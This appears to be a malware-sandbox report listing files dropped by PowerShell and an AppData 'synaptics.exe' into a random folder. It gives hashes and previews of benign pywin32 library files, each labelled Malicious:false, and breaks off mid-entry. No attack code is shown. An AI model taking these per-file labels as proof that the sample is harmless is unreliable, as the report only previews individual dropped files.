              Reputation:unknown
              Preview:# Generated by h2py from d:\mssdk\include\winnetwk.h.WNNC_NET_MSNET = 0x00010000.WNNC_NET_LANMAN = 0x00020000.WNNC_NET_NETWARE = 0x00030000.WNNC_NET_VINES = 0x00040000.WNNC_NET_10NET = 0x00050000.WNNC_NET_LOCUS = 0x00060000.WNNC_NET_SUN_PC_NFS = 0x00070000.WNNC_NET_LANSTEP = 0x00080000.WNNC_NET_9TILES = 0x00090000.WNNC_NET_LANTASTIC = 0x000A0000.WNNC_NET_AS400 = 0x000B0000.WNNC_NET_FTP_NFS = 0x000C0000.WNNC_NET_PATHWORKS = 0x000D0000.WNNC_NET_LIFENET = 0x000E0000.WNNC_NET_POWERLAN = 0x000F0000.WNNC_NET_BWNFS = 0x00100000.WNNC_NET_COGENT = 0x00110000.WNNC_NET_FARALLON = 0x00120000.WNNC_NET_APPLETALK = 0x00130000.WNNC_NET_INTERGRAPH = 0x00140000.WNNC_NET_SYMFONET = 0x00150000.WNNC_NET_CLEARCASE = 0x00160000.WNNC_NET_FRONTIER = 0x00170000.WNNC_NET_BMC = 0x00180000.WNNC_NET_DCE = 0x00190000.WNNC_NET_DECORB = 0x00200000.WNNC_NET_PROTSTOR = 0x00210000.WNNC_NET_FJ_REDIR = 0x00220000.WNNC_NET_DISTINCT = 0x00230000.WNNC_NET_TWINS = 0x00240000.WNNC_NET_RDR2SAMPLE = 0x00250000.RESOURCE_CONNECTED

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\winprocess.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):7364
              Entropy (8bit):4.612277715258723
              Encrypted:false
              SSDEEP:
              MD5:8E6684A1613B87B8EADBDAF4CECE9B9B
              SHA1:9203CB302F86AE37C239ED6826233665F2C7C979
              SHA-256:B1AC447688BC6BD9824ECABED1A5F1FC41E0B1161192DE8036FE9D9E41F91D96
              SHA-512:DA4E3572592A043C73FBB00DAA18D64DFB79994CDE4C1F120C072CB38C3B2298BDA282D933B97052A83B541789D09C464CE59E9939562F2F51584BF5426A7A4D
              Malicious:false
              Reputation:unknown
              Preview:""".Windows Process Control..winprocess.run launches a child process and returns the exit code..Optionally, it can:. redirect stdin, stdout & stderr to files. run the command as another user. limit the process's running time. control the process window (location, size, window state, desktop).Works on Windows NT, 2000 & XP. Requires Mark Hammond's win32.extensions...This code is free for any purpose, with no warranty of any kind..-- John B. Dell'Aquila <jbd@alum.mit.edu>."""..import msvcrt.import os..import win32api.import win32con.import win32event.import win32gui.import win32process.import win32security...def logonUser(loginString):. """. Login as specified user and return handle.. loginString: 'Domain\nUser\nPassword'; for local. login use . or empty string as domain. e.g. '.\nadministrator\nsecret_password'. """. domain, user, passwd = loginString.split("\n"). return win32security.LogonUser(. user,. domain,. passwd,. w

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\include\PyWinTypes.h

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:C++ source, ASCII text
              Category:dropped
              Size (bytes):30076
              Entropy (8bit):5.341602934640227
              Encrypted:false
              SSDEEP:
              MD5:56FA1335CD7890A5FDD33CC47A3FB347
              SHA1:65DDC9821823293D434F68095240C83B819F8CDF
              SHA-256:BD99175F3A8A791ED5C175BF3B3D8796DB9C11D6D9FF0BBF239DEE67EEEF50C6
              SHA-512:6481B7F5249ACF68B48960385921CD7CD0223C369E955034F4F28566DE8169EB625800289DCFF8CB77D4BF2ADDB599B158225190EDBAB94B08FA48386F889221
              Malicious:false
              Reputation:unknown
              Preview:.#ifndef __PYWINTYPES_H__.#define __PYWINTYPES_H__..// If building under a GCC, tweak what we need..#if defined(__GNUC__) && defined(_POSIX_C_SOURCE).// python.h complains if _POSIX_C_SOURCE is already defined.#undef _POSIX_C_SOURCE.#endif..// windows rpc.h defines "small" as "char" which breaks Python's accu.h,.// so we undefine it before including python..#ifdef small.#undef small.#endif..#include "Python.h".#include "structmember.h".#include "windows.h"..// Helpers for our modules..// Some macros to help the pywin32 modules co-exist in py2x and py3k..// Creates and initializes local variables called 'module' and 'dict'...// Maybe these should all be removed - they existed to help in the py2->3.// transition..// On one hand: the code would be cleaner if they were all just re-inlined?.// On the other: high confidence everything uses the exact same patterns?.// (Regardless, *some*, eg, PYWIN_MODULE_INIT_RETURN_* should be re-inlined!)..// Use to define the function itself (ie, its name

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib\__pycache__\pywin32_bootstrap.cpython-310.pyc.7294368

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):522
              Entropy (8bit):5.48498048476196
              Encrypted:false
              SSDEEP:
              MD5:8B51EB0DF98CCC973E1925C3C2B11C1A
              SHA1:0E25E47F953871769505108CDAFA7FC455D02D81
              SHA-256:35D4766D352D81639D5428F2F84CC975541A95F3F17A9430B1FC818166D6DEED
              SHA-512:2CC6259BA86A3E61C6ADF9FD8890FC7F0D942C3F704096F592AFC5B82AA58079C313309CA979842D1977A2EFB31A21C64311EAF5B8507780ADFA7F11C7F41D41
              Malicious:false
              Reputation:unknown
              Preview:o........h.f.........................@...s....z.d.d.l.Z.W.n...e.y.......Y.d.S.w.d.d.l.Z.e.j.D.]<Z.e.j...e...rTe.e.d...r-e...e.......d.S.e.j.d.....e...sQe.j.d.....e.j.e...d...e.j.d.<.e.e.j...e.j.d.....e.j.d.<...d.S.q.d.S.)......N..add_dll_directory..PATH..).Z.pywin32_system32..ImportError..os..__path__..path..isdir..hasattrr......environ..startswith..replace..pathsep..r....r.....WC:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\win32\lib\pywin32_bootstrap.py..<module>....s".....................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib\commctrl.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):46158
              Entropy (8bit):5.115928989304851
              Encrypted:false
              SSDEEP:
              MD5:EF5F49B57CECD42E54C4533860FB3A3A
              SHA1:48FDEA29160EFC44107120AE30E3E2FE00D18FDC
              SHA-256:0E600EB9AEDF442AFA9476E1FDB3C6D9C76B7A58114DBEC736AC0060765E7D4E
              SHA-512:2F3DBB1102159766DF64C517CDF45296B5AFE1F63176964156C75976CEE1C06B7C5A7B9B662F2BB86841CE5C3032881701C8552EDB7CED48FA5AC035E3E92A89
              Malicious:false
              Reputation:unknown
              Preview:# Generated by h2py from COMMCTRL.H.WM_USER = 1024.ICC_LISTVIEW_CLASSES = 1 # listview, header.ICC_TREEVIEW_CLASSES = 2 # treeview, tooltips.ICC_BAR_CLASSES = 4 # toolbar, statusbar, trackbar, tooltips.ICC_TAB_CLASSES = 8 # tab, tooltips.ICC_UPDOWN_CLASS = 16 # updown.ICC_PROGRESS_CLASS = 32 # progress.ICC_HOTKEY_CLASS = 64 # hotkey.ICC_ANIMATE_CLASS = 128 # animate.ICC_WIN95_CLASSES = 255.ICC_DATE_CLASSES = 256 # month picker, date picker, time picker, updown.ICC_USEREX_CLASSES = 512 # comboex.ICC_COOL_CLASSES = 1024 # rebar (coolbar) control.ICC_INTERNET_CLASSES = 2048.ICC_PAGESCROLLER_CLASS = 4096 # page scroller.ICC_NATIVEFNTCTL_CLASS = 8192 # native font control.ODT_HEADER = 100.ODT_TAB = 101.ODT_LISTVIEW = 102.PY_0U = 0.NM_FIRST = PY_0U # generic to all controls.NM_LAST = PY_0U - 99.LVN_FIRST = PY_0U - 100 # listview.LVN_LAST = PY_0U - 199.HDN_FIRST = PY_0U - 300 # header.HDN_LAST = PY_0U - 399.TVN_FIRST = PY_0U - 400 # treeview.TVN_LAST = PY_0U - 499.TTN_FIRST =

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib\dbi.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):713
              Entropy (8bit):4.602382429472932
              Encrypted:false
              SSDEEP:
              MD5:A17F92FB3695DC91A1B9042653DD2D0D
              SHA1:8DAC5D28EC5A645225741837FC9429BE04B08E26
              SHA-256:BE551C7BF0FCFF0736C0C8D5646F6976D22F912EA0B450CF9DF6EFF2E41F73B4
              SHA-512:4BEC3127FA494DD657EC02F297B9249BCD23DBC09506C3E3D0368B76EBD1FB3A0B0B5719A0420D3A204E173467FBCB6AFBB2E927E080C00010439354A057DD3F
              Malicious:false
              Reputation:unknown
              Preview:""".Skeleton replacement for removed dbi module..Use of objects created by this module should be replaced with native Python objects..Dates are now returned as datetime.datetime objects, but will still accept PyTime.objects also..Raw data for binary fields should be passed as buffer objects for Python 2.x,.and memoryview objects in Py3k.."""..import warnings..warnings.warn(. "dbi module is obsolete, code should now use native python datetime and buffer/memoryview objects",. DeprecationWarning,.)..import datetime..dbDate = dbiDate = datetime.datetime..try:. dbRaw = dbiRaw = buffer.except NameError:. dbRaw = dbiRaw = memoryview..# type names are still exported by odbc module.from odbc import *.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib\mmsystem.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):30389
              Entropy (8bit):4.7770341275289425
              Encrypted:false
              SSDEEP:
              MD5:875D9E40BE44575D4BB3FE3967976DED
              SHA1:B2F4B378C918D0F6329087E6103DEC19A32793AC
              SHA-256:930DBD298A1A246A9D8060467E06DFB729BAFDFF0E0FE98EAD3352CFFB6F81B0
              SHA-512:C27055A00FFCC17D0E362F2A9D61347CED34BFFD12CDBFF1987684ED0641CC86718EB26E2E80AEE8E80BCF9394DEA85B63931EF62EF9390B2AE61A0E4A7056B7
              Malicious:false
              Reputation:unknown
              Preview:# Generated by h2py from d:/msdev/include/mmsystem.h.MAXPNAMELEN = 32.MAXERRORLENGTH = 256.MAX_JOYSTICKOEMVXDNAME = 260.MM_MICROSOFT = 1.MM_MIDI_MAPPER = 1.MM_WAVE_MAPPER = 2.MM_SNDBLST_MIDIOUT = 3.MM_SNDBLST_MIDIIN = 4.MM_SNDBLST_SYNTH = 5.MM_SNDBLST_WAVEOUT = 6.MM_SNDBLST_WAVEIN = 7.MM_ADLIB = 9.MM_MPU401_MIDIOUT = 10.MM_MPU401_MIDIIN = 11.MM_PC_JOYSTICK = 12.TIME_MS = 0x0001.TIME_SAMPLES = 0x0002.TIME_BYTES = 0x0004.TIME_SMPTE = 0x0008.TIME_MIDI = 0x0010.TIME_TICKS = 0x0020.MM_JOY1MOVE = 0x3A0.MM_JOY2MOVE = 0x3A1.MM_JOY1ZMOVE = 0x3A2.MM_JOY2ZMOVE = 0x3A3.MM_JOY1BUTTONDOWN = 0x3B5.MM_JOY2BUTTONDOWN = 0x3B6.MM_JOY1BUTTONUP = 0x3B7.MM_JOY2BUTTONUP = 0x3B8.MM_MCINOTIFY = 0x3B9.MM_WOM_OPEN = 0x3BB.MM_WOM_CLOSE = 0x3BC.MM_WOM_DONE = 0x3BD.MM_WIM_OPEN = 0x3BE.MM_WIM_CLOSE = 0x3BF.MM_WIM_DATA = 0x3C0.MM_MIM_OPEN = 0x3C1.MM_MIM_CLOSE = 0x3C2.MM_MIM_DATA = 0x3C3.MM_MIM_LONGDATA = 0x3C4.MM_MIM_ERROR = 0x3C5.MM_MIM_LONGERROR = 0x3C6.MM_MOM_OPEN = 0x3C7.MM_MOM_CLOSE = 0x3C8.MM_MOM_DONE = 0x3C9.M

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib\netbios.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):6948
              Entropy (8bit):5.17742075576656
              Encrypted:false
              SSDEEP:
              MD5:D613CD1C4C09BCB74DAC2B3044AF08F2
              SHA1:79434FC6AEB15EA86A9CCC16225035AB23A1239A
              SHA-256:A56A021FC24320BEB5EC5F046E7CC758FF3A0306E3D800B0252FCF8CFE661DB3
              SHA-512:F00552644D534CE8E7B69E9C993BB9283FA1F3BE8BB5A3E4864F5A71CB2EF2DD0DFB700127284EA4669FD479F8560FF007DA0AD1B0EB785523A416D87E8121F5
              Malicious:false
              Reputation:unknown
              Preview:import struct.import sys..import win32wnet..# Constants generated by h2py from nb30.h.NCBNAMSZ = 16.MAX_LANA = 254.NAME_FLAGS_MASK = 0x87.GROUP_NAME = 0x80.UNIQUE_NAME = 0x00.REGISTERING = 0x00.REGISTERED = 0x04.DEREGISTERED = 0x05.DUPLICATE = 0x06.DUPLICATE_DEREG = 0x07.LISTEN_OUTSTANDING = 0x01.CALL_PENDING = 0x02.SESSION_ESTABLISHED = 0x03.HANGUP_PENDING = 0x04.HANGUP_COMPLETE = 0x05.SESSION_ABORTED = 0x06.ALL_TRANSPORTS = "M\0\0\0".MS_NBF = "MNBF".NCBCALL = 0x10.NCBLISTEN = 0x11.NCBHANGUP = 0x12.NCBSEND = 0x14.NCBRECV = 0x15.NCBRECVANY = 0x16.NCBCHAINSEND = 0x17.NCBDGSEND = 0x20.NCBDGRECV = 0x21.NCBDGSENDBC = 0x22.NCBDGRECVBC = 0x23.NCBADDNAME = 0x30.NCBDELNAME = 0x31.NCBRESET = 0x32.NCBASTAT = 0x33.NCBSSTAT = 0x34.NCBCANCEL = 0x35.NCBADDGRNAME = 0x36.NCBENUM = 0x37.NCBUNLINK = 0x70.NCBSENDNA = 0x71.NCBCHAINSENDNA = 0x72.NCBLANSTALERT = 0x73.NCBACTION = 0x77.NCBFINDNAME = 0x78.NCBTRACE = 0x79.ASYNCH = 0x80.NRC_GOODRET = 0x00.NRC_BUFLEN = 0x01.NRC_ILLCMD = 0x03.NRC_CMDTMO = 0x05.NRC

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib\ntsecuritycon.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):22344
              Entropy (8bit):5.171445425681835
              Encrypted:false
              SSDEEP:
              MD5:ACDBB2AB8B92D9CCEFBB4CCD12E6D070
              SHA1:FD78B196A79FB1C24299F6BBA689B0CB478EECA9
              SHA-256:FE53CAA6C8A2F7CA98BCAFA3427779BBCA69ED29481B4DEAA7E5FA3AA8B0E6A3
              SHA-512:D189AA75D396B8ADF47AE910B09A8654CC878B784A30883A075DAF9CE87628213B96038E72A1C37DE9C0EECAD21088DF864057C874C24C1F3D22317122D5D289
              Malicious:false
              Reputation:unknown
              Preview:# Hacked from winnt.h..DELETE = 65536.READ_CONTROL = 131072.WRITE_DAC = 262144.WRITE_OWNER = 524288.SYNCHRONIZE = 1048576.STANDARD_RIGHTS_REQUIRED = 983040.STANDARD_RIGHTS_READ = READ_CONTROL.STANDARD_RIGHTS_WRITE = READ_CONTROL.STANDARD_RIGHTS_EXECUTE = READ_CONTROL.STANDARD_RIGHTS_ALL = 2031616.SPECIFIC_RIGHTS_ALL = 65535.ACCESS_SYSTEM_SECURITY = 16777216.MAXIMUM_ALLOWED = 33554432.GENERIC_READ = -2147483648.GENERIC_WRITE = 1073741824.GENERIC_EXECUTE = 536870912.GENERIC_ALL = 268435456..# file security permissions.FILE_READ_DATA = 1.FILE_LIST_DIRECTORY = 1.FILE_WRITE_DATA = 2.FILE_ADD_FILE = 2.FILE_APPEND_DATA = 4.FILE_ADD_SUBDIRECTORY = 4.FILE_CREATE_PIPE_INSTANCE = 4.FILE_READ_EA = 8.FILE_WRITE_EA = 16.FILE_EXECUTE = 32.FILE_TRAVERSE = 32.FILE_DELETE_CHILD = 64.FILE_READ_ATTRIBUTES = 128.FILE_WRITE_ATTRIBUTES = 256.FILE_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 511.FILE_GENERIC_READ = (. STANDARD_RIGHTS_READ. | FILE_READ_DATA. | FILE_READ_ATTRIBUTES. | FILE_

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib\pywin32_bootstrap.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Unicode text, UTF-8 text
              Category:dropped
              Size (bytes):1283
              Entropy (8bit):4.661736923288396
              Encrypted:false
              SSDEEP:
              MD5:5D28A84AA364BCD31FDB5C5213884EF7
              SHA1:0874DCA2AD64E2C957B0A8FD50588FB6652DD8EE
              SHA-256:E298DDCFCB0232257FCAA330844845A4E7807C4E2B5BD938929ED1791CD9D192
              SHA-512:24C1AD9CE1D7E7E3486E8111D8049EF1585CAB17B97D29C7A4EB816F7BDF34406AA678F449F8C680B7F8F3F3C8BC164EDAC95CCB15DA654EF9DF86C5BEB199A5
              Malicious:false
              Reputation:unknown
              Preview:# Imported by pywin32.pth to bootstrap the pywin32 environment in "portable".# environments or any other case where the post-install script isn't run..#.# In short, there's a directory installed by pywin32 named 'pywin32_system32'.# with some important DLLs which need to be found by Python when some pywin32.# modules are imported..# If Python has `os.add_dll_directory()`, we need to call it with this path..# Otherwise, we add this path to PATH....try:. import pywin32_system32.except ImportError: # Python .3.6: replace ImportError with ModuleNotFoundError. pass.else:. import os.. # We're guaranteed only that __path__: Iterable[str]. # https://docs.python.org/3/reference/import.html#__path__. for path in pywin32_system32.__path__:. if os.path.isdir(path):. if hasattr(os, "add_dll_directory"):. os.add_dll_directory(path). # This is to ensure the pywin32 path is in the beginning to find the. # pywin32 DLLs first an

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib\pywin32_testutil.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):11552
              Entropy (8bit):4.499300065894434
              Encrypted:false
              SSDEEP:
              MD5:9C5202F60D6DA913C7CAF90DC9373281
              SHA1:9F961266AE675DDF9C5FF9AB5047C9D7ECEAAF6A
              SHA-256:79AB4108C89ACA419476CE9B96F32966800A3FC159812C10B1AE1E3E67DF2FB5
              SHA-512:6D3C07C23A2DCF7838B8D2B2D545598C5B5EADC62370571C824EDB6CA0A2B31222E1E713B5FBBDFA8F86ACF8161D2C134CDA4A1442FB44BD7BBA240FD55F0DC1
              Malicious:false
              Reputation:unknown
              Preview:# Utilities for the pywin32 tests.import gc.import os.import site.import sys.import unittest..import winerror..##.## General purpose utilities for the test suite..##...# The test suite has lots of string constants containing binary data, but.# the strings are used in various "bytes" contexts..def str2bytes(sval):. if sys.version_info < (3, 0) and isinstance(sval, str):. sval = sval.decode("latin1"). return sval.encode("latin1")...# Sometimes we want to pass a string that should explicitly be treated as.# a memory blob..def str2memory(sval):. if sys.version_info < (3, 0):. return buffer(sval). # py3k.. return memoryview(sval.encode("latin1"))...# Sometimes we want to pass an object that exposes its memory.def ob2memory(ob):. if sys.version_info < (3, 0):. return buffer(ob). # py3k.. return memoryview(ob)...##.## unittest related stuff.##...# This is a specialized TestCase adaptor which wraps a real test..class LeakTestCase(unittest.TestCase):

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib\pywintypes.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:magic text file for file(1) cmd, ASCII text
              Category:dropped
              Size (bytes):5938
              Entropy (8bit):4.44618870200388
              Encrypted:false
              SSDEEP:
              MD5:B4FB724E0920809325DC40BC7E7C2813
              SHA1:3C5F3D8966E28C14757B64E5E4BE521DCAFC51F9
              SHA-256:298DCE6680D5005FE34240C6AAC3547D98FEFC33A0C4DB5E9F0A32C284ED09B4
              SHA-512:5D03A2D921FD49667D88A0D99D457B74F863B6F4F8FBB3620030EB44CDAEAEFCD82F7DABFA5E634A29528ABCB17D4E125868CC52835A3CE0BFC67A1770AC38FA
              Malicious:false
              Reputation:unknown
              Preview:# Magic utility that "redirects" to pywintypesxx.dll.import importlib.machinery.import importlib.util.import os.import sys...def __import_pywin32_system_module__(modname, globs):. # This has been through a number of iterations. The problem: how to. # locate pywintypesXX.dll when it may be in a number of places, and how. # to avoid ever loading it twice. This problem is compounded by the. # fact that the "right" way to do this requires win32api, but this. # itself requires pywintypesXX.. # And the killer problem is that someone may have done 'import win32api'. # before this code is called. In that case Windows will have already. # loaded pywintypesXX as part of loading win32api - but by the time. # we get here, we may locate a different one. This appears to work, but. # then starts raising bizarre TypeErrors complaining that something. # is not a pywintypes type when it clearly is!.. # So in what we hope is the last major iteration of this, we now

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib\rasutil.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):1724
              Entropy (8bit):4.998195255193026
              Encrypted:false
              SSDEEP:
              MD5:5DEDB350BE4D6433395E5A20DD87CCD9
              SHA1:3B0C06BEB7F09AAFD16D9B76266C1D942A1AEA56
              SHA-256:163BA151CB3D18957BDFC6FCECD5B733F679BCCD6F7E70A902E9327AE0152546
              SHA-512:F43F5E3436E00447808737D1A2EF3BBD1817FD9F53066707552154A9747BC3B77861C4EDB9E398D15B46E4B946F8B62E7392D28BE3F0199C12AA2E188055987A
              Malicious:false
              Reputation:unknown
              Preview:import win32ras..stateStrings = {. win32ras.RASCS_OpenPort: "OpenPort",. win32ras.RASCS_PortOpened: "PortOpened",. win32ras.RASCS_ConnectDevice: "ConnectDevice",. win32ras.RASCS_DeviceConnected: "DeviceConnected",. win32ras.RASCS_AllDevicesConnected: "AllDevicesConnected",. win32ras.RASCS_Authenticate: "Authenticate",. win32ras.RASCS_AuthNotify: "AuthNotify",. win32ras.RASCS_AuthRetry: "AuthRetry",. win32ras.RASCS_AuthCallback: "AuthCallback",. win32ras.RASCS_AuthChangePassword: "AuthChangePassword",. win32ras.RASCS_AuthProject: "AuthProject",. win32ras.RASCS_AuthLinkSpeed: "AuthLinkSpeed",. win32ras.RASCS_AuthAck: "AuthAck",. win32ras.RASCS_ReAuthenticate: "ReAuthenticate",. win32ras.RASCS_Authenticated: "Authenticated",. win32ras.RASCS_PrepareForCallback: "PrepareForCallback",. win32ras.RASCS_WaitForModemReset: "WaitForModemReset",. win32ras.RASCS_WaitForCallback: "WaitForCallback",. win32ras.RASCS_Projected: "Projected",. w

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib\regcheck.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script text executable Python script, ASCII text executable
              Category:dropped
              Size (bytes):4484
              Entropy (8bit):4.387225499230269
              Encrypted:false
              SSDEEP:
              MD5:CFA098F4BF2CBC4604EA85902A1FA94A
              SHA1:C84C5E01878ED40FC2BC8EA6EE7065EB9D8694F8
              SHA-256:4513AC3EB7FEE4A80B0D285FA881B94CD1490C17C7C293349976EB7FC0BB5EF3
              SHA-512:8FEAF8C8A4A93E64ACBAF22431CAA77D74F17E53D317665E593CCF9265C513B798A95B28FF7ED2272C6C5CF568A199C5DCB4897BD40159E70C64DDC792CF540B
              Malicious:false
              Reputation:unknown
              Preview:# This module is very old and useless in this day and age! It will be.# removed in a few years (ie, 2009 or so...)..import warnings..warnings.warn(. "The regcheck module has been pending deprecation since build 210",. category=PendingDeprecationWarning,.)..import os.import sys..import regutil.import win32api.import win32con...def CheckRegisteredExe(exename):. try:. os.stat(. win32api.RegQueryValue(. regutil.GetRootKey(), regutil.GetAppPathsKey() + "\\" + exename. ). ). # .except SystemError:. except (os.error, win32api.error):. print("Registration of %s - Not registered correctly" % exename)...def CheckPathString(pathString):. for path in pathString.split(";"):. if not os.path.isdir(path):. return "'%s' is not a valid directory!" % path. return None...def CheckPythonPaths(verbose):. if verbose:. print("Python Paths:"). # Check the core path. if verbose:. print("\tCor

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib\regutil.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):12341
              Entropy (8bit):4.867163934678907
              Encrypted:false
              SSDEEP:
              MD5:2526CDC3EE6341EC163D8C4A1682279C
              SHA1:9C59136C2F1510EDCF495F951A32A0EEA63C6275
              SHA-256:0E4EC545FA05064142368E6501152DC290520675343149F299BBE994D6C5B65D
              SHA-512:7A26252FEC5FB54A89C10AD26EABFD7BECFF1FB7F9336157E3657497C16D000011DD981C5DAE2A086DCD96FE99A4FA46CD908BCA07645D247800643BAEE7D796
              Malicious:false
              Reputation:unknown
              Preview:# Some registry helpers..import os.import sys..import win32api.import win32con..error = "Registry utility error"..# A .py file has a CLSID associated with it (why? - dunno!).CLSIDPyFile = "{b51df050-06ae-11cf-ad3b-524153480001}"..RegistryIDPyFile = "Python.File" # The registry "file type" of a .py file.RegistryIDPycFile = "Python.CompiledFile" # The registry "file type" of a .pyc file...def BuildDefaultPythonKey():. """Builds a string containing the path to the current registry key... The Python registry key contains the Python version. This function. uses the version of the DLL used by the current process to get the. registry key currently in use.. """. return "Software\\Python\\PythonCore\\" + sys.winver...def GetRootKey():. """Retrieves the Registry root in use by Python.""". keyname = BuildDefaultPythonKey(). try:. k = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, keyname). k.close(). return win32con.HKEY_CURRENT_USER. except

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib\sspi.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):15590
              Entropy (8bit):4.735360635701188
              Encrypted:false
              SSDEEP:
              MD5:03D230AD5621621A0B38C15DB6B56DD0
              SHA1:D88B7924743BC73412ED75C2209BDC71CD0D3792
              SHA-256:9E9BDAB113FA4909689D17E8888090460684290E4F2D1F7C19897546C6AEDB00
              SHA-512:13B3D3478F1CCF0B746059B6E62E3A4B8FA069CB25C9A2C3F57AAF90033066B32034F6DB204143717D986972ED261E627B4C03D26EBEC311636A5B1249E4B419
              Malicious:false
              Reputation:unknown
              Preview:""".Helper classes for SSPI authentication via the win32security module...SSPI authentication involves a token-exchange "dance", the exact details.of which depends on the authentication provider used. There are also.a number of complex flags and constants that need to be used - in most.cases, there are reasonable defaults...These classes attempt to hide these details from you until you really need.to know. They are not designed to handle all cases, just the common ones..If you need finer control than offered here, just use the win32security.functions directly..""".# Based on Roger Upole's sspi demos..# $Id$.import sspicon.import win32security..error = win32security.error...class _BaseAuth(object):. def __init__(self):. self.reset().. def reset(self):. """Reset everything to an unauthorized state""". self.ctxt = None. self.authenticated = False. self.initiator_name = None. self.service_name = None.. # The next seq_num for an encry

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib\sspicon.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):15697
              Entropy (8bit):5.075827160638741
              Encrypted:false
              SSDEEP:
              MD5:9453DC2AD38FC69224C077BD945110D7
              SHA1:10D2438CA799BDDB8C59218EA12A1E68A321B66D
              SHA-256:403A89B99178441B8769DE753EF98447F73598F52E30701C81A37E4477B340E0
              SHA-512:70071F01B293949ACFA09C7909005363D5832A66FF9A1B43EA00B55A517CE6E2D566FC3B6068A932E19E0355EDA339427CE7BCD7A53568F19FBBEB19AE4C7475
              Malicious:false
              Reputation:unknown
              Preview:# Generated by h2py from c:\microsoft sdk\include\sspi.h.ISSP_LEVEL = 32.ISSP_MODE = 1...def SEC_SUCCESS(Status):. return (Status) >= 0...SECPKG_FLAG_INTEGRITY = 1.SECPKG_FLAG_PRIVACY = 2.SECPKG_FLAG_TOKEN_ONLY = 4.SECPKG_FLAG_DATAGRAM = 8.SECPKG_FLAG_CONNECTION = 16.SECPKG_FLAG_MULTI_REQUIRED = 32.SECPKG_FLAG_CLIENT_ONLY = 64.SECPKG_FLAG_EXTENDED_ERROR = 128.SECPKG_FLAG_IMPERSONATION = 256.SECPKG_FLAG_ACCEPT_WIN32_NAME = 512.SECPKG_FLAG_STREAM = 1024.SECPKG_FLAG_NEGOTIABLE = 2048.SECPKG_FLAG_GSS_COMPATIBLE = 4096.SECPKG_FLAG_LOGON = 8192.SECPKG_FLAG_ASCII_BUFFERS = 16384.SECPKG_FLAG_FRAGMENT = 32768.SECPKG_FLAG_MUTUAL_AUTH = 65536.SECPKG_FLAG_DELEGATION = 131072.SECPKG_FLAG_READONLY_WITH_CHECKSUM = 262144.SECPKG_ID_NONE = 65535..SECBUFFER_VERSION = 0.SECBUFFER_EMPTY = 0.SECBUFFER_DATA = 1.SECBUFFER_TOKEN = 2.SECBUFFER_PKG_PARAMS = 3.SECBUFFER_MISSING = 4.SECBUFFER_EXTRA = 5.SECBUFFER_STREAM_TRAILER = 6.SECBUFFER_STREAM_HEADER = 7.SECBUFFER_NEGOTIATION_INFO = 8.SECBUFFER_PADDING = 9

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib\win2kras.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):334
              Entropy (8bit):4.571035255295966
              Encrypted:false
              SSDEEP:
              MD5:ABBC2A410CB902383B0DCC308BE715F3
